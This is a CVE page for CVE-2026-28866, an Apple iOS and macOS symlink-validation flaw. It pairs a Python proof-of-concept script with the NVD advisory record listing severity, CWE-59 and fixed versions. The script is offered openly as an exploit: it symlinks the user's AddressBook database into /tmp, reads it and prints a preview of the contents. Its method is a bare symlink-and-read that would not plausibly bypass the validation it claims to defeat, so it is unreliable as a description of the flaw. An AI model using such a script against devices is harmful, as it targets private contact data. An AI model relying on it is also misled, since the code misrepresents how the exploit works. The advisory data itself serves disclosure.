CVE-2026-28866

import os # Proof of Concept for CVE-2026-28866 (Symlink Validation Bypass) # This script demonstrates how a malicious app might attempt to access sensitive data # by exploiting improper symlink validation on affected iOS/macOS versions. SENSITIVE_FILE = "/private/var/mobile/Library/AddressBook/AddressBook.sqlitedb" MALICIOUS_LINK = "/tmp/exploit_link" def exploit(): try: # Step 1: Create a symbolic link pointing to a sensitive file # In a real scenario, this would be done within the malicious app's container # attempting to link to a system or other app's data. if not os.path.exists(MALICIOUS_LINK): os.symlink(SENSITIVE_FILE, MALICIOUS_LINK) print(f"[+] Symlink created: {MALICIOUS_LINK} -> {SENSITIVE_FILE}") # Step 2: Attempt to read data through the symlink # If validation is bypassed, the OS allows reading the restricted file. with open(MALICIOUS_LINK, 'rb') as f: data = f.read(1024) # Read first 1KB if data: print("[!] Successfully read sensitive data via symlink bypass!") print(f"[+] Data preview: {data[:50]}...") return True else: print("[-] File is empty or read failed.") return False except PermissionError: print("[-] Permission denied: Patch may be applied or permissions are strict.") return False except FileNotFoundError: print("[-] Target file not found (Path may be different on specific versions).") return False except Exception as e: print(f"[-] An error occurred: {e}") return False if __name__ == "__main__": print(f"[*] Attempting exploit for CVE-2026-28866...") exploit()

{"cve": {"id": "CVE-2026-28866", "sourceIdentifier": "[email protected]", "published": "2026-03-25T01:17:10.680", "lastModified": "2026-03-25T21:30:07.740", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "This issue was addressed with improved validation of symlinks. This issue is fixed in iOS 18.7.7 and iPadOS 18.7.7, iOS 26.4 and iPadOS 26.4, macOS Sequoia 15.7.5, macOS Sonoma 14.8.5, macOS Tahoe 26.4. An app may be able to access sensitive user data."}, {"lang": "es", "value": "Este problema se abordó con una validación mejorada de los enlaces simbólicos. Este problema se corrigió en iOS 18.7.7 y iPadOS 18.7.7, iOS 26.4 y iPadOS 26.4, macOS Sequoia 15.7.5, macOS Sonoma 14.8.5, macOS Tahoe 26.4. Una aplicación podría acceder a datos sensibles del usuario."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 6.2, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.5, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-59"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:apple:ipados:*:*:*:*:*:*:*:*", "versionEndExcluding": "18.7.7", "matchCriteriaId": "118313FD-8CF6-4412-B1A8-4BC3D5C2F519"}, {"vulnerable": true, "criteria": "cpe:2.3:o:apple:ipados:*:*:*:*:*:*:*:*", "versionStartIncluding": "26.0", "versionEndExcluding": "26.4", "matchCriteriaId": "F201257D-2F7C-43AA-BD51-ED5EC98F99E0"}, {"vulnerable": true, "criteria": "cpe:2.3:o:apple:iphone_os:*:*:*:*:*:*:*:*", "versionEndExcluding": "18.7.7", "matchCriteriaId": "684E10EB-D01A-4E80-8764-B48B554B0B5E"}, {"vulnerable": true, "criteria": "cpe:2.3:o:apple:iphone_os:*:*:*:*:*:*:*:*", "versionStartIncluding": "26.0", "versionEndExcluding": "26.4", "matchCriteriaId": "F7F08C35-7A60-4FEC-8D44-533902F43EDD"}, {"vulnerable": true, "criteria": "cpe:2.3:o:apple:macos:*:*:*:*:*:*:*:*", "versionStartIncluding": "14.0", "versionEndExcluding": "14.8.5", "matchCriteriaId": "D66288AF-23BD-407A-81F5-F1DFBF84C622"}, {"vulnerable": true, "criteria": "cpe:2.3:o:apple:macos:*:*:*:*:*:*:*:*", "versionStartIncluding": "15.0", "versionEndExcluding": "15.7.5", "matchCriteriaId": "DD21D2C9-BBEC-4E8E-B8D2-C92B7E6155E1"}, {"vulnerable": true, "criteria": "cpe:2.3:o:apple:macos:*:*:*:*:*:*:*:*", "versionStartIncluding": "26.0", "versionEndExcluding": "26.4", "matchCriteriaId": "6CF848CD-25D4-4371-BEF3-1ACCE47AD81F"}]}]}], "references": [{"url": "https://support.apple.com/en-us/126792", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}, {"url": "https://support.apple.com/en-us/126793", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}, {"url": "https://support.apple.com/en-us/126794", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}, {"url": "https://support.apple.com/en-us/126795", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}, {"url": "https://support.apple.com/en-us/126796", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}]}}